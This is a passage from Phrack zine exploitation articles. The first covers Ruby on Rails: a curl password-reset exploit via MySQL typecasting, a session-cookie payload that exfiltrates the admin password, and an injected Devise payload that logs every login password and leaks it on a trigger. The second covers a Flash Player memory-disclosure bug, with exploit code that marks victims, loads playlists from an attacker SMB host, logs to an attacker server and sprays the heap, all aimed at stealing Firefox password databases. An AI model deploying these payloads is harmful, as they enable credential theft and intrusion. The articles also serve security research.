user = User.find_by_token(params[:user][:token])

if user

#reset password here

end

end

Such a token like the one pulled out of params in the code above typically is a random string, for now let's just assume this string is "IAmARandomToken". Given the knowledge about the MySQL typecasting plus the facts about JSON/XML input described in section 1.1.3 & 1.1.4 we can conduct an actual attack on this pattern.

MySQL would match the string "IAmARandomToken" with the number 0 so a possible exploit would look like:

curl http://phrack.org/password/reset \

‑H 'Content‑Type: application/json' \

‑‑data '{"user":{"token":0,"pass":"omghaxx","pass_confirm":"omghaxx"}}'

This attack vector got addressed with a security announcement [6] which said it will be fixed somewhen later.

A little anecdote on this issue:

A couple of days after the advisory the issue was "fixed" in Rails 3.2.12 as by the following commit [7], no further advisory was released for this issue. The fix in 3.2.12 was first of all incomplete due to the fact that it was bypassable by POSTing an array of numbers instead of a single number. Secondly Rails went back to the original behaviour with the release of 3.2.13.

Indeed the vector is completely fixed as of Rails 4.2 almost two years after the original advisory.

‑‑[ 4 ‑ Notes on Code Injection Payloads

The wonderful world of Ruby on Rails gives us, in case of in‑framework code injection, a lot of toys to play with. As the whole framework is available to the attacker its' whole featureset might be utilized. This starts with very simple but convenient things:

In 2.1 code execution via unmarshalling of the session cookie was elaborated. A very handy data exfiltration technique for small (<4K) amounts of data is using the session cookie itself to carry the exfiltrated data out [/* Eat this, WAF */].

The to‑be‑executed payload to use this technique would roughly be the following:

lootit=<<WOOT

a={} # This will end up as our session object

a['loot'] = User.find_by_email("admin@app.com").password # Guess what :P a # return a as session hash

WOOT

The above _string_ then is used in a cookie using the RCE technique from 2.1. If done all right the response to that cookie will contain another new cookie which contains a 'loot' key which has the value of the requested data.

Anything goes with Ruby: Imagine an app where the passwords are properly salted and hashed and streched and whatnot. In order to not waste any GPU time for breaking the precious hashes we could instead inject some code which re‑writes the apps login controller in a way that it will first log out all users, and then log all the sent passwords in memory until they are fetched by defined request. A PoC for this technique against the devise authentication framework is shown in [8]. The main component of it is the actual to‑be‑evaluated payload:

Devise::SessionsController.class_eval <<DEVISE @@passwordsgohere = []

@@target_model = nil

@@triggerword = "22bce2630cb45cbff19490371d19a654b01ee537" @@secret = "12IO0nCNPFhWz7a56rmhkiIQ8BOgbUw7yIYl++jYNkxAseBT3Q02N+CwShuqDBqY" def logallthepasswords

@@target_model= @@target_model || ActiveRecord::Base.subclasses.collect {|c| c if c.methods.include? :devise }.first.model_name.param_key if params[@@target_model]

@@passwordsgohere<< params[@@target_model]

end

end

def leakallthepasswords

keygen = ActiveSupport::KeyGenerator.new(@@secret,{:iterations => 1337}) enckey = keygen.generate_key('encrypted hacker')

sigkey = keygen.generate_key('signed encrypted hacker') crypter = ActiveSupport::MessageEncryptor.new(enckey, sigkey,{:serializer => ActiveSupport::MessageEncryptor::NullSerializer }) if Digest::SHA1.hexdigest(session["session_id"].to_s) == @@triggerword render :text => crypter.encrypt_and_sign(JSON.dump(@@passwordsgohere)) @@passwordsgohere = []

end

end

before_filter :logallthepasswords

before_filter :leakallthepasswords

DEVISE

The above code, when RCEd into a Ruby on Rails application using devise will introduce two filters in the apps login Controller, one filter called logallthepasswords which keeps every password and username in memory upon login. Secondly the leakallthepasswords filter will dump those passwords upon seeing a specific session id and flush them from memory.

Key takeaway here (which does not only apply to RoR applications) is actually the fact that we can model our own little application within some target app pretty much freely when using eval() or session cookie based RCE payloads. Another fun fact about this is the circumstance that the payload will reside in memory. Once the app is shut down your payload is gone. And by giving up the persistence we will pretty likely win against the forensics guy.

‑‑[ 5 ‑ Greetz and <3

In no particular order:

astera, greg (thx for kicking my ass), FX, nowin, fabs, opti, tina, matteng, RL, HDM, charliesome, both Bens (M. and T.), larry0 (Gemkiller).

The award for endless patience with this little writeup goes to the Phrack Staff obviously ;).

‑‑[ A ‑ References

[0] http://rubyonrails.org

[1] https://github.com/rails/rails/commit/

c9909db9f2f81575ef2ea2ed3b4e8743c8d6f1b9

[3] http://www.phenoelit.org/stuff/ffcrm.txt

[4] https://github.com/rapid7/metasploit‑framework/blob/master/modules/

exploits/multi/http/spree_searchlogic_exec.rb

[5] https://www.blackhat.com/latestintel/04302014‑poc‑in‑the‑cfp.html

[6] https://groups.google.com/group/rubyonrails‑security/browse_thread/

thread/64e747e461f98c25

[7] https://github.com/rails/rails/commit/

921a296a3390192a71abeec6d9a035cc6d1865c8

Obituary for an Adobe Flash Player bug

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0d of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Art of Exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Obituary for an Adobe Flash Player bug ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ huku ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ huku@grhack.net ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

0 ‑ Introduction

1 ‑ Preparing a debugging environment

1.1 ‑ Your first AS3 "Hello, World!"

1.2 ‑ Printing output

2 ‑ Useful ActionScript classes

2.1 ‑ Marking owned clients

2.2 ‑ Preventing the unresponsive script pop‑up from showing up 3 ‑ The bug

3.1 ‑ Analysis

3.2 ‑ Exploitation

3.2.1 ‑ Assessment

3.2.2 ‑ From relative to absolute information leak 3.2.3 ‑ Discovering Flash Player base address 3.2.4 ‑ Discovering the CRT heap address

3.2.5 ‑ Walking CRT heap allocations

3.2.6 ‑ Reading arbitrary files

3.2.7 ‑ Overall exploit methodology

3.2.8 ‑ Logz

4 ‑ Conclusion

5 ‑ Thanks

6 ‑ References

7 ‑ Codez

‑‑[ 0 ‑ Introduction

The 21st of January was a sad day. A beautiful vulnerability, ZDI‑15‑007 [01], was killed by a person using the alias "bilou". It was one of those days that some people had to fire up IDA Pro again and start reversing in search of new 0days. Yes, this article will deal with some Adobe Flash exploitation, as if the P0 circus was not enough already (to which the author regrets having taken part by posting comments a couple of times).

Let's get this straight, Adobe Flash is indeed high in a security researcher's audit list, and there's a good reason for that, but all this defamation against Adobe's products, is, obviously well lead by other coorporate organizations whose products are not less vulnerable [04]. It's kinda funny how Firefox, for example, #2 in the list of top 50 products by total number of distinct vulnerabilities (according to [03]), denies to activate a vulnerable Adobe Flash plug‑in, listed under #15. How wonderful would it be if Flash did the same? Imagine Flash, for example, denying to run on shitty browsers [02]. In a security circus where famous security researcher celebrities have chosen sides, we suggest that hackers benefit from both sides' idiocy.

This article will deal with the aforementioned vulnerability. We will show how it can be leveraged to disclose, not only sensitive information from a sandboxed Adobe Flash process, but other sensitive information from the target's filesystem as well. More specifically, we will focus on how it's possible to steal the Firefox SQLite databases containing stored passwords, encryption keys and cookies from a victim's computer. These passwords, can then be used to access the target machine via other means thus allowing one to indirectly, escape the sandbox restrictions imposed by Adobe Flash on Firefox. Since our 0days have long stopped working, it's a good chance for us to share our experience with the community.

This article is organised as follows. The first section deals with how a working/debugging environment for Flash development is set up. We believe that this will help the interesting reader get started with Adobe Flash exploitation and will aid him/her in discovering his/her own 0day vulnerabilities. The second section deals with certain problems that may arise during client side exploitation and presents simple ActionScript tricks that can be used to resolve them. Last but not least, the third section analyzes the actual vulnerability and the steps taken to achieve arbitrary file stealing by abusing a simple information/memory disclosure primitive.

It should be noted that the code snippets and other information presented in the remainder of this article correspond to version 15.0.0.189 of the NPAPI release of Adobe Flash Player. The vulnerability is present in older versions as well, but the author was unable to find older IDA Pro databases in his hard drive :P

‑‑[ 1 ‑ Preparing a debugging environment

Before delving into the specifics of ZDI‑15‑007, let's have a look at preparing the minimal toolset for compiling, running and debugging ActionScript code. To avoid using complex commercial IDEs, we will limit ourselves to publicly available open source software instead, which is more than enough for building SWF objects. The development toolchain for ActionScript applications consists of the following components:

* The FLEX SDK distributed by the Apache Foundation [05] or Adobe [06]. You should stick with the first. Just visit the Apache foundation homepage and download the automated installer.

* The runtime targeting the Flash version of interest. Usually named "playerglobal.swc". This is automatically downloaded for you by the Flex SDK installer. You can always grab the latest version from [17].

* Your favorite console editor (vim, emacs, nano, whatever).

I guess all Phrack readers know how to install stuff, so I'll leave this as an exercise to the reader :P

As an alternative to the above, one may use Haxe [20]. Haxe allows a developer to write code using a strictly typed programming language and then compile it, or even cross‑compile it, to a set of possible target runtimes. Adobe Flash is in the list of supported application runtimes. In this article, however, we will stick to the first of the two options, but Haxe is also worth exploring from an attacker's perspective.

‑‑‑‑[ 1.1 ‑ Your first AS3 "Hello, World!"

Fire up your favorite text editor and create a file named "Test.as" with the following contents. Just like Java, AS3 source code files are named after the public class they declare.

‑‑‑ snip ‑‑‑

package

{

import flash.display.Sprite;

public class Test extends Sprite

{

public function Test()

{

trace("Hello, world!\n");

}

}

}

// vim: set syntax=cpp:

‑‑‑ snip ‑‑‑

Unless you have a vim syntax file for AS3, the last comment will put some color in your editor.

The following is a typical Makefile used to build "Test.swf" from "Test.as". Before running `make', make sure you have set `SDK_PREFIX' to the directory where you have installed the Flex SDK.

‑‑‑ snip ‑‑‑

SDK_PREFIX=/var/flex

MXMLC=$(SDK_PREFIX)/bin/mxmlc

MXMLC_FLAGS=‑compiler.optimize ‑warnings

SRCS=Test.as

BIN=Test.swf

all:

$(MXMLC) $(SRCS) $(MXMLC_FLAGS) ‑output $(BIN)

.PHONY: clean

clean:

rm ‑fr $(BIN)

‑‑‑ snip ‑‑‑

Running `make' will generate the required SWF file.

‑‑‑ snip ‑‑‑

$ make

~/flex/bin/mxmlc Test.as ‑compiler.optimize ‑warnings ‑output Test.swf Loading configuration file ~/flex/frameworks/flex‑config.xml Test.swf (581 bytes)

‑‑‑ snip ‑‑‑

‑‑‑‑[ 1.2 ‑ Printing output

Admittedly, the best way of debugging code is printing output (who needs `gdb' anyway?). The AS3 API provides a function named `trace()' which is used to produce debugging messages. However, the messages can only be viewed when a debugging version of Adobe Flash Player is used and the SWF is run from within Flash Builder Studio. This is bad news; no clients use a debugging version of Flash and I prefer spending 50$ for anything other than buying Flash Studio :)

I can think of at least two cases where output messages can be useful:

* During development; seeing what's wrong with your exploit is fastest way of resolving issues with your code and improving your exploit's reliability.

* During production; watching clients being owned ‑ priceless :)

For the first case output messages can be printed directly in the users browser. For the second case, logs can be forwarded to a remote log server controlled by the attacker. `Console' class, implemented in file "Console.as" in the attached exploit, is capable of performing both. The boolean constants `LOCAL_DEBUG' and `REMOTE_DEBUG' control what kind of logging strategy is used:

‑‑‑ snip ‑‑‑

public class Console

{

// Print messages to a standard text field.

private const LOCAL_DEBUG:Boolean = true;

// Forward messages to remote host. Our tool, named `xmlsocketd.py', is

// supposed to be waiting there for incoming connections.

private const REMOTE_DEBUG:Boolean = true;

private const REMOTE_HOST:String = "1.2.3.4";

private const REMOTE_PORT:int = 1234;

...

}

‑‑‑ snip ‑‑‑

When `LOCAL_DEBUG' is set to `true', as shown above, a text field is created and logs are written in it. The text field is automatically resized and the output scrolls down just like your favorite terminal emulator. If `REMOTE_DEBUG' is true, an XML socket is used to forward messages to a remote machine.

The attached exploit comes with a simple Python server that receives the messages and writes them in a SQLite database. A simple web interface can be used to view them.

‑‑[ 2 ‑ Useful ActionScript classes

Let's forget about the actual vulnerability for a moment and let's focus on various problems that may arise during the exploitation process. Each of the following sections deals with such a problem and presents a simple solution.

‑‑‑‑[ 2.1 ‑ Marking owned clients

A first problem that may arise when writing AS3 exploits (in fact, during client side exploitation in general) is how already exploited clients are distinguished from clients on which the exploit failed and clients that are targeted for the first time. If for some reason the exploit fails on a client, maybe because the Flash Player plug‑in crashed because of accessing an unmapped memory address for example, it's good not to run the exploit again next time the client in question refreshes the malicious web page. A means to achieving this kind of behavior is using some kind of persistent information on the client's side. The two most well known methods are the following:

* Cookies. We all know and kinda love cookies.

* JavaScript persistent storage APIs

* HTML5 web storage [07]

* WebSQL [08]. Nowadays considered obsolete, but some browsers still support it

Even though the mechanisms above can indeed be used as a possible solution, they both come with their drawbacks. Cookies are not that reliable (e.g. private browsing, cookies being cleaned up when the browser exits), while a JavaScript based solution requires some form of communication between the JavaScript code and our Flash exploit. Even though this is possible [09], it kind of complicates things. A pure AS3 solution is preferred.

For the sake of developing the attached Flash exploit, I decided to make use of ActionScript's `SharedObject' class [10]. This API allows for managing persistent storage on the clients side directly from the AVM engine and it's as simple as the equivalent JavaScript APIs. An additional benefit is that browsers usually don't clean the, so called, Flash cookies and thus marking a client this way may be better and more reliable.

The logic is implemented in `Persistence.as' and consists of two simple methods, namely `is_marked()', for testing wether a client has been marked, and `mark()' that uses persistent storage to mark a victim. The code for `is_marked()' is shown below:

‑‑‑ snip ‑‑‑

public static function is_marked():Boolean

{

var ret:Boolean = true;

var lso:SharedObject = SharedObject.getLocal(Persistence.ID);

// If cookie not present, or more than the specified amount of time has

// elapsed, the client is not considered marked.

if(!("time" in lso.data) ||

(new Date()).time ‑ lso.data["time"] >= Persistence.INTERVAL) ret = false;

lso.close();

return ret;

}

‑‑‑ snip ‑‑‑

The code checks if a cookie with a chosen name, `Persistence.ID', already exists in the victims computer. The cookie is supposed to hold the timestamp of the last exploit attempt. If more than `Persistence.INTERVAL' milliseconds have elapsed since that time, or if the cookie does not exist in the victim's computer, then the client is considered unmarked and the exploitation proceeds. Otherwise, the exploit exits immediately. Successful exploitation attempts result in the victim being marked, so that the malicious SWF is not activated again if the user refreshes the container HTML page.

‑‑‑ snip ‑‑‑

public static function mark():void

{

var lso:SharedObject = SharedObject.getLocal(Persistence.ID); lso.data["time"] = (new Date()).time;

lso.flush();

lso.close();

}

‑‑‑ snip ‑‑‑

In the attached exploit a client is marked by installing a Flash cookie named "cookie".

‑‑‑‑[ 2.2 ‑ Preventing the unresponsive script pop‑up from showing up

As it wil become apparent later, successful exploitation of the analyzed vulnerability takes a certain amount of time. It's important, for example, that, until all the required files from the victim's computer have been uploaded to the attacker's server, the whole exploitation process is not interrupted. A common problem, that arises when exploiting "plugin‑container.exe" processes, is the unresponsive script pop‑up shown by Firefox (why this happens is out of the scope of this article). This section deals with the aforementioned problem and presents a simple solution, implemented in the attached exploit, for avoiding annoying browser pop‑ups.

Just like JavaScript, ActionScript has its own implementation of web workers, an abstraction over an operating system's threading mechanism. Using web workers allows for running several SWF files in parallel which, in turn, allows for executing the main exploitation logic in separate thread, thus not keeping the main plug‑in thread busy. While the exploitation process is carried out in the background, the attacker can, for example, present a silly Flash game to the victim to buy some time. Embedding an exploit to your favorite porn movie is also a good idea :P

The exploit's entry point, which for obvious purposes was named "Main", looks like the following:

‑‑‑ snip ‑‑‑

public class Main extends MovieClip

{

// Array of URIs to worker SWF files; add extra workers here.

private const workers:Array = new Array("WorkerMain.swf");

public function Main()

{

this._mcv = new Vector.<MessageChannel>(); this._con = new Console(this);

if(Persistence.is_marked() == false) // (1)

{

for each(var swf_url:String in this.workers) {

this._con.msg("Will now load worker from " + swf_url); swf_url += "?rnd=" + getTimer().toString(16); var req:URLRequest = new URLRequest(swf_url); var ldr:URLLoader = new URLLoader(); ldr.dataFormat = URLLoaderDataFormat.BINARY; ldr.addEventListener(Event.COMPLETE, this._on_complete); ldr.load(req);

}

}

else

this._con.msg("Target is marked");

}

}

‑‑‑ snip ‑‑‑

At (1), the `Persistence' class (presented in the previous section) is used to check if the client has already been successfully exploited from a previous run of the exploit. If not, or if this is a new client, the SWF files specified in the `workers[]' array are loaded one by one using URL requests (the "?rnd=" URL parameter is used for avoiding possible caching from the client's side, a common trick used by scripting languages). Method `_on_complete()' is executed for each worker successfully loaded from its corresponding URL. Eventually each worker starts running by calling the `start()' method.

‑‑‑ snip ‑‑‑

private function _on_complete(evt:Event):void

{

...

worker.start();

this._con.msg("New worker started");

}

‑‑‑ snip ‑‑‑

This function will also create a `MessageChannel' instance for each worker, so that asynchronous communication with the main thread is possible. In the attached exploit, the message channel is used by the workers to forward debugging messages to the main thread, who will, in turn, forward them to the output stream specified in "Console.as". The relevant code is not presented here, as this feature is just a minor, but useful, detail of the exploit.

‑‑[ 3. The bug

‑‑‑‑[ 3.1 Analysis

TL;DR, the vulnerability lies in method `getABRProfileInfoAtIndex()' of class `AVSegmentedSource'. Unfortunately, at the time of writing, the `AVSegmentedSource' API is still undocumented. Any information, that will be presented in the following sections, was recovered by reverse engineering the ActiveX and NPAPI versions of Adobe Flash. The bug was also present in the PPAPI version of Chrome (a.k.a. "pepperflash.dll"), but the author didn't have enough time to investigate further.

`AVSegmentedSource' is the class responsible for HLS playback. According to Wikipedia [11]:

HTTP Live Streaming (also known as HLS) is an HTTP‑based media streaming communications protocol implemented by Apple Inc. as part of its QuickTime, Safari, OS X, and iOS software. It works by breaking the overall stream into a sequence of small HTTP‑based file downloads, each download loading one short chunk of an overall potentially unbounded transport stream. As the stream is played, the client may select from a number of different alternate streams containing the same material encoded at a variety of data rates, allowing the streaming session to adapt to the available data rate.

To start playback, a client has to load a, so called, HLS manifest, which is simply an .m3u or .m3u8 (unicode version of .m3u) playlist. Wikipedia [11] explains:

At the start of the streaming session, it downloads an extended M3U playlist containing the metadata for the various sub‑streams which are available.

The following snippet shows how one can do that programmatically in AS3.

‑‑‑ snip ‑‑‑

var source:AVSegmentedSource = new AVSegmentedSource();

var stream:AVStream = new AVStream(source);

...

stream.load("C:\\playlist.m3u8");

stream.play();

‑‑‑ snip ‑‑‑

People familiar with ActionScript development should have already noticed that the path given as the first argument to `load()' is the filename of a local file residing in the user's filesystem (back when I was developing this exploit, `load()' failed when a URL was passed to it, maybe this problem has been fixed by now). This, however, kind of contradicts the sandbox model of Adobe Flash; Flash applications are not allowed to write or even read local files. So, how is a SWF movie supposed to load an HLS manifest, if it has to write it to the user's filesystem first?

Unless `load()' supports URLs in recent versions of Flash Player, playback of HLS streams is not supported on platforms other than Microsoft Windows; on Windows systems, one can bypass this limitation by using UNC paths, either in the standard "\\server\path" format or using the WebDAV notation "\\server@port\path", which, unfortunately, is not supported on Windows versions greater than Microsoft Windows 7. An attacker can place an arbitrary M3U8 playlist on a SMB/SAMBA server under his or her control and have the target client load it as shown below:

‑‑‑ snip ‑‑‑

// Works on all Microsoft Windows versions.

stream.load("\\\\1.2.3.4\\exploit\\playlist.m3u8"); stream.play();

// Works only on Microsoft Windows 7 and probably XP.

stream.load("\\\\1.2.3.4@8080\\exploit\\playlist.m3u8"); stream.play();

‑‑‑ snip ‑‑‑

As a side note, the author would like to stress the fact that this article will not deal with the server component of the attached exploit that serves the malicious M3U8 files. The interested reader is advised to have a look at "m3u8.php", "dumper.php" and the relevant code in "WorkerMain.as". These details have been intentional left out so that the reader's attention is not focused on simple technical issues like setting up Samba, Apache, DAV and so on. For more information have a look at "README.md" in the exploit's top‑level directory.

HLS is quite flexible. An M3U8 playlist may specify the same media source (e.g. your favorite porn video) in various encodings and various bitrates. This way clients can adapt based on availability of bandwidth or other resources. Additionally a media source is allowed to be broken in smaller pieces, called periods, so that clients can faster seek to the required time location. Since the author is not really a media guy, the information and terminology in the following paragraphs is presented ad referendum.

Let's see an example M3U8 manifest taken from [16]:

‑‑‑ snip ‑‑‑

#EXTM3U

#EXT‑X‑STREAM‑INF:PROGRAM‑ID=1,BANDWIDTH=150000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/low/index.m3u8

#EXT‑X‑STREAM‑INF:PROGRAM‑ID=1,BANDWIDTH=240000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/lo_mid/index.m3u8

#EXT‑X‑STREAM‑INF:PROGRAM‑ID=1,BANDWIDTH=440000,RESOLUTION=416x234, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/hi_mid/index.m3u8

#EXT‑X‑STREAM‑INF:PROGRAM‑ID=1,BANDWIDTH=640000,RESOLUTION=640x360, \ CODECS="avc1.42e00a,mp4a.40.2" http://example.com/high/index.m3u8

#EXT‑X‑STREAM‑INF:PROGRAM‑ID=1,BANDWIDTH=64000,CODECS="mp4a.40.5" http://example.com/audio/index.m3u8

‑‑‑ snip ‑‑‑

The manifest shown above defines 5, so called, bitrate profiles for the same media source. A client can choose any of these. For example, a low bandwidth client would pick the first entry and would proceed by loading the M3U8 manifest specified in the first "#EXT‑X‑STREAM‑INF" entry. In turn, this manifest may look like the following:

‑‑‑ snip ‑‑‑

#EXTM3U

#EXT‑X‑PLAYLIST‑TYPE:EVENT

#EXT‑X‑TARGETDURATION:10

#EXT‑X‑MEDIA‑SEQUENCE:0

#EXTINF:10,

fileSequence0.ts

#EXTINF:10,

fileSequence1.ts

#EXTINF:10,

fileSequence2.ts

#EXTINF:10,

fileSequence3.ts

#EXTINF:10,

fileSequence4.ts

...

#EXTINF:10,

fileSequence120.ts

#EXTINF:10,

fileSequence121.ts

#EXT‑X‑ENDLIST

‑‑‑ snip ‑‑‑

The tag names starting with the hash character are not relevant right now. What is important is that the files named "fileSequenceXXX.ts" correspond to the media source's periods.

Once loading of the HLS manifest is complete, the `AVSegmentedSource' instance may be used for querying information about the loaded manifest. One of the several methods exported by this class is `getABRProfileInfoAtIndex()'. The prototype of this API is shown below:

‑‑‑ snip ‑‑‑

getABRProfileInfoAtIndex(periodIndex:int, abrProfileIndex:int): AVABRProfileInfo

‑‑‑ snip ‑‑‑

The API requires two integers, the period index (the index of the media source piece) and the bitrate profile index. For example, to query the profile information for the period "fileSequenece1.ts" of the low bandwidth profile, one might do the following:

‑‑‑ snip ‑‑‑

source.getABRProfileInfoAtIndex(1, 0);

‑‑‑ snip ‑‑‑

The reader should have already guessed where the actual bug lies. The second argument passed to this API is not checked. The bug can be triggered by calling `getABRProfileInfoAtIndex()' as shown below:

‑‑‑ snip ‑‑‑

source.getABRProfileInfoAtIndex(0, 0xdeadbeef);

‑‑‑ snip ‑‑‑

Here's what's going on under the hood. The presented assembly snippet was taken from "NPSWF32_15_0_0_189.dll".

‑‑‑ snip ‑‑‑

; This is `getABRProfileInfoAtIndex()' entry point sub_102354CC proc near

...

xor ebx, ebx

...

mov eax, [eax+40h]

mov ecx, [ebp+arg_4] ; Profile index controlled by the attacker mov esi, [eax+ecx*4] ; Read pointer to AVABRProfileInfo (1) cmp esi, ebx

jnz short loc_10235525

loc_10235525:

...

push dword ptr [esi+8] ; Read 3 doublewords from `esi' (2) push dword ptr [esi+4]

push dword ptr [esi]

loc_1023553E:

...

call sub_102347FC ; AVABRProfileInfo constructor

loc_1023554D:

pop edi

pop ebx

leave

retn 8 ; Return AVABRProfileInfo sub_102354CC endp

‑‑‑ snip ‑‑‑

Argument `arg_4' is `abrProfileIndex' shown the API's definition and is fully controlled by the attacker. As it can be seen from the above assembly snippet, the integer passed to this method at (1) is not checked and it's used to access an array of pointers to `AVABRProfileInfo' instances each representing an available ABR profile specified in the loaded HLS manifest. A pointer is read from the memory address at "[EAX + abrProfileInfo * 4]" and stored in ESI. This pointer is then dereferenced 3 times at (2) to read three doublewords. All three of them are leaked back to the user as part of the returned `AVABRProfileInfo' instance. Accessing the leaked memory is just a matter of doing the following:

‑‑‑ snip ‑‑‑

// Our `Console' class defined in a previous section

var con:Console = new Console(this);

var info:AVABRProfileInfo = source.getABRProfileInfoAtIndex(0, 0xdeadbeef);

// Print leaked values in hexadecimal format.

con.msg(info.width.toString(16)); con.msg(info.height.toString(16)); con.msg(info.bitrate.toString(16));

‑‑‑ snip ‑‑‑

‑‑‑‑[ 3.2 Exploitation

‑‑‑‑‑‑[ 3.2.1 Assessment

The following C++ pseudocode gives an oversimplified model for the aforementioned vulnerability.

‑‑‑ snip ‑‑‑

struct ABRProfileInfo

{

uint32_t width;

uint32_t height;

uint32_t bitrate;

};

class AVSegmentedSource

{

private:

struct ABRProfileInfo *profiles[];

...

public:

struct ABRProfileInfo *getABRProfileInfoAtIndex(int, int); ...

};

struct ABRProfileInfo *AVSegmentedSource::getABRProfileInfoAtIndex(int i, int j)

{

...

return this‑>profiles[j];

}

AVSegmentedSource *source = new AVSegmentedSource(); AVABRProfileInfo *info;

...

info = source‑>getABRProfileInfoAtIndex(i, j);

printf("%x %x %x\n", info‑>width, info‑>height, info‑>bitrate); ‑‑‑ snip ‑‑‑

To successfully exploit this vulnerability an attacker will have to provide a number `j', the second argument to `getABRProfileInfoAtIndex(), such that `&profiles[j]' happens to fall on a mapped memory address, say 0x11111111, and the doubleword at this location holds a valid pointer to an `ABRProfileInfo' structure, say 0x22222222. If these conditions are met, the call to the vulnerable API will complete successfully and the attacker will be given back the three doublewords at 0x22222222 (member `width'), 0x22222222+4 (member `height') and 0x22222222+8 (member `bitrate') in the returned `ABRProfileInfo' structure. Assuming the attacker, somehow, controls the doubleword at 0x11111111, he or she can then leak three doublewords from an arbitrary memory address by first assigning the victim memory address at 0x11111111 and then triggering the vulnerability.

The following figure shows the relationship between the various structures described so far.

+‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| this |‑‑‑‑‑‑‑‑>| *profiles[0] |‑‑‑‑‑‑‑‑>| width |

+‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| *profiles[1] |‑‑‑‑+ | height |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

. . | bitrate |

. . |

. . |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| *profiles[N] | .‑‑‑‑‑‑‑‑>| width |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

height |

bitrate |

So far so good. However, assuming the attacker has no information regarding the virtual memory layout of the victim Flash process, there's no guarantee that for an arbitrary number `j', `&profiles[j]' will, in fact, be a mapped memory address. For the following we are going to make the assumption that the attacker has no information regarding the state of the Adobe Flash process and has no way of gaining insight about it. That is, we are going to assume that the presented vulnerability is the only vulnerability the attacker has knowledge about and thus no safe assumptions can be made about the value of `j'.

‑‑‑‑‑‑[ 3.2.2 From relative to absolute information leak

Ideally, one would attempt to place controlled data, a string for example, right next to the `profiles[]' array using well known and studied heap shaping techniques. Then, with a properly chosen value for `j', `&profiles[j]' would fall on the aformentioned controlled data region, resulting in total control on the address from where data will be leaked back to the attacker. This is definitely a good way to go, however the exploit attached in this article uses a different technique. Unfortunately, several years have passed since I discovered this vulnerability and I don't recall reason why I didn't follow this technique. IIRC `profiles[]' was not in the AVM managed heap and it was thus hard to control the heap contents right next to it. Hard, but not impossible I guess.

Probably not the best strategy, but one that works, is to spray the heap with a few very large vectors of unsigned integers, hoping that a high memory address is reached and that this address holds user supplied data. The attached exploit allocates 64 such vectors, 0x01000000 bytes in size each, and the high address in question is assumed to be 0x0a000000, but that's an arbitrary choice, any high address properly chosen will do. It should be noted that the heap spray vectors should be filled with a doubleword value corresponding to the chosen high address, that is, in our case, we should set all elements of all vectors to 0x0a000000 for reasons that will become apparent later.

Since a great deal of the memory space is filled with our vectors, supplying a quite large value for `j' has a good chance of making `&profiles[j]' to fall within one of the heap sprayed regions. The exploit will first attempt to leak a doubleword from `&profiles[0x01000000]'. A leaked value of 0x0a000000 is an indication that the heap spray has succeeded.

‑‑‑ snip ‑‑‑

private const VECNUM:uint = 64;

private const VECSZ:uint = 0x01000000 / 4 ‑ 2;

...

private function _do_heap_spray():void

{

var v:Vector.<uint>;

this._sv = new Vector.<*>(this.VECNUM);

for(var i:uint = 0; i < this.VECNUM; i++)

{

v = new Vector.<uint>(this.VECSZ);

for(var j:uint = 0; j < this.VECSZ; j++) v[j] = 0x0a000000;

this._sv[i] = v;

}

}

‑‑‑ snip ‑‑‑

One might wonder why spraying the heap with just a few very large vectors may be better, as opposed to spraying with a large number of smaller vectors. Usually, we need to decrease the metadata to data ratio. The more vectors we instantiate the more metadata are allocated in the victim process' GC heap, the AVM managed heap. However, by allocating only a few very large vectors we can make sure heap space is mostly filled with user supplied unsigned integers and only a few bytes of metadata is used.

The underlying C++ vector objects hold a pointer to a memory region that holds the actual data (for more information see [18]). This memory region has the following format.

https://github.com/adobe‑flash/avmplus/blob/master/core/avmplusList.h#L83

‑‑‑ snip ‑‑‑

template<class STORAGE, uint32_t slop> struct ListData

{

uint32_t len;

MMgc::GC* _gc;

STORAGE entries[1];

};

‑‑‑ snip ‑‑‑

While writing this article, the author came across the following GitHub repository, which was recently updated by Adobe! In this new version of "avmplus", the layout of the structure shown above has changed and XOR‑based overflow protection has been added.

https://github.com/adobe/avmplus/blob/master/core/avmplusList.h#L83

Now, let's assume that our heap spraying results in the partial memory layout depicted in the following figure.

0x0a000000 ‑ X 0x01000000 0x22222222 0x0a000000 0x0a000000 ...

0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000010 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000020 0x0a000000 0x0a000000 0x0a000000 0x0a000000 0x0a000030 0x0a000000 0x0a000000 0x0a000000 0x0a000000 ...

0x0a000000 + Y 0x0a000000 0x0a000000 0x0a000000 0x0a000000

